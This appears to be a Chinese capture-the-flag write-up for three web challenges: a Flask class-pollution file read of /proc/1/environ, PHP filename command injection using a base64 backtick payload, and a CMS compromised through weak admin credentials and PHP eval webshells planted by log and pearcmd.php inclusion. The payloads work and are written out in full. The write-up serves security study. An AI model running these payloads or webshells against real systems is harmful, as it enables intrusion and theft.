EzFlask 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport jsonapp = Flask(__name__) app.secret_key = str (uuid.uuid4()) def check (data ): for i in black_list: if i in data: return False return True def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class user (): def __init__ (self ): self.username = "" self.password = "" pass def check (self, data ): if self.username == data['username' ] and self.password == data['password' ]: return True return False Users = [] @app.route('/register' ,methods=['POST' ] ) def register (): if request.data: try : if not check(request.data): return "Register Failed" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Register Failed" User = user() merge(data, User) Users.append(User) except Exception: return "Register Failed" return "Register Success" else : return "Register Failed" @app.route('/login' ,methods=['POST' ] ) def login (): if request.data: try : data = json.loads(request.data) if "username" not in data or "password" not in data: return "Login Failed" for user in Users: if user.check(data): session["username" ] = data["username" ] return "Login Success" except Exception: return "Login Failed" return "Login Failed" @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read() if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5010 )
审计源码,存在标志性函数merge,为python类原型链污染,继续审计发现可利用函数open(‘’,’’).read(),构造json代码,修改FILE 的数值为想要读取的内容,这里读取环境变量
1 2 {"username" :"123" ,"password" :"123" ,"__init__" :{"__globals__" : {"__file__" :"/proc/1/environ" }}} // 前面的username和password是为了绕过代码检查
提交后经检查发现字符串init 被过滤
1 2 3 4 5 这里可以使用unicode编码进行绕过 \u0000 \u005f \u0000 \u005f \u0000 \u0069 \u0000 \u006e \u0000 \u0069 \u0000 \u0074 \u0000 \u005f \u0000 \u005f {"username":"123","password":"123","\u0000 \u005f \u0000 \u005f \u0000 \u0069 \u0000 \u006e \u0000 \u0069 \u0000 \u0074 \u0000 \u005f \u0000 \u005f ":{"__globals__": {"__file__":"/proc/1/environ"}}} 或者使用user类的check函数进行实例化绕过 {"username":"123","password":"123","check":{"__globals__": {"__file__":"/proc/1/environ"}}}
得到flag
MyPicDisk 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 <?php session_start ();error_reporting (0 );class FILE { public $filename ; public $lasttime ; public $size ; public function __construct ($filename ) { if (preg_match ("/\//i" , $filename )){ throw new Error ("hacker!" ); } $num = substr_count ($filename , "." ); if ($num != 1 ){ throw new Error ("hacker!" ); } if (!is_file ($filename )){ throw new Error ("???" ); } $this ->filename = $filename ; $this ->size = filesize ($filename ); $this ->lasttime = filemtime ($filename ); } public function remove ( ) { unlink ($this ->filename); } public function show ( ) { echo "Filename: " . $this ->filename. " Last Modified Time: " .$this ->lasttime. " Filesize: " .$this ->size."<br>" ; } public function __destruct ( ) { system ("ls -all " .$this ->filename); } } ?> <!DOCTYPE html > <html > <head > <meta charset ="UTF-8" > <title > MyPicDisk</title > </head > <body > <?php if (!isset ($_SESSION ['user' ])){ echo ' <form method="POST"> username:<input type="text" name="username"></p> password:<input type="password" name="password"></p> <input type="submit" value="登录" name="submit"></p> </form> ' ; $xml = simplexml_load_file ('/tmp/secret.xml' ); if ($_POST ['submit' ]){ $username =$_POST ['username' ]; $password =md5 ($_POST ['password' ]); $x_query ="/accounts/user[username='{$username} ' and password='{$password} ']" ; $result = $xml ->xpath ($x_query ); if (count ($result )==0 ){ echo '登录失败' ; }else { $_SESSION ['user' ] = $username ; echo "<script>alert('登录成功!');location.href='/index.php';</script>" ; } } } else { if ($_SESSION ['user' ] !== 'admin' ) { echo "<script>alert('you are not admin!!!!!');</script>" ; unset ($_SESSION ['user' ]); echo "<script>location.href='/index.php';</script>" ; } echo "<!-- /y0u_cant_find_1t.zip -->" ; if (!$_GET ['file' ]) { foreach (scandir ("." ) as $filename ) { if (preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) { echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>" ; } } echo ' <form action="index.php" method="post" enctype="multipart/form-data"> 选择图片:<input type="file" name="file" id=""> <input type="submit" value="上传"></form> ' ; if ($_FILES ['file' ]) { $filename = $_FILES ['file' ]['name' ]; if (!preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) { die ("hacker!" ); } if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $filename )) { echo "<script>alert('图片上传成功!');location.href='/index.php';</script>" ; } else { die ('failed' ); } } } else { $filename = $_GET ['file' ]; if ($_GET ['todo' ] === "md5" ){ echo md5_file ($filename ); } else { $file = new FILE ($filename ); if ($_GET ['todo' ] !== "remove" && $_GET ['todo' ] !== "show" ) { echo "<img src='../" . $filename . "'><br>" ; echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>" ; echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>" ; } else if ($_GET ['todo' ] === "remove" ) { $file ->remove (); echo "<script>alert('图片已删除!');location.href='/index.php';</script>" ; } else if ($_GET ['todo' ] === "show" ) { $file ->show (); } } } } ?> </body > </html >
分析源码
1 2 3 4 5 如果不存在session['user' ],出现登录表单,提交表单之后就会给session['user' ]进行赋值。 第一次登录后再回到原表单就会触发js提示不是admin ,并获得源码文件的位置,进入下一个if 如果不存在file ,那就触发文件上传表单,action为index.php,如果存在上传文件,那么就对文件后缀进行判断并返回上传成功提示 如果存在file ,那么就将文件名赋值给$filename ,然后引用FILE 类对文件名进行处理,construct主要是过滤了/和多个.,且判断了文件是否存在,如果文件存在,那么就执行system 函数
具体操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #index.php <!DOCTYPE html > <html > <head > <title > 用户登录</title > </head > <body > <h2 > 用户登录</h2 > <form action ="http://2f3204e1-d884-4172-86aa-0ac751e580de.node4.buuoj.cn:81/index.php" method ="post" enctype ="multipart/form-data" > <label for ="username" > 用户名:</label > <input type ="text" id ="username" name ="username" required > <br > <label for ="password" > 密码:</label > <input type ="password" id ="password" name ="password" required > <br > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > </form > </body > </html >
1 2 3 4 写表单进行登录和文件上传,上传文件之后再用另一个界面进行get 传file ,传入的file 名必须和上传的文件名是一样的,进而触发system 命令执行。 由于对/和.具有严格过滤,所以这里采用编码绕过 ;`echo Y2F0IC9hZGoq | base64 -d`;.jpg bp传参需要把空格改为+号
ez_cms 1 看到是个网页直接盲猜一手后台管理界面/admin,然后弱口令试了一下就进去了
这里是有一个任意文件读取漏洞,but好像没什么卵用
1 2 3 4 然后就想是否可以进行日志包含 添加UA:<?php eval ($_POST [chuling]); ?> 然后访问url: url/admin/r=../../../../../../var /log/nginx/access.log 用蚁剑尝试连接,结果失败了。
这时候就又来了一个pearcmd.php文件包含
参考博客:https://blog.csdn.net/Mrs_H/article/details/122386511
1 2 3 具体操作为?+config-create+/&r=/ ../../ ../../ ../../ ../../ ../../u sr/share/ php/pearcmd&/ <?=eval($_POST ['1' ]);?>+/tmp/ chuling2.php 成功之后直接蚁剑连接得到flag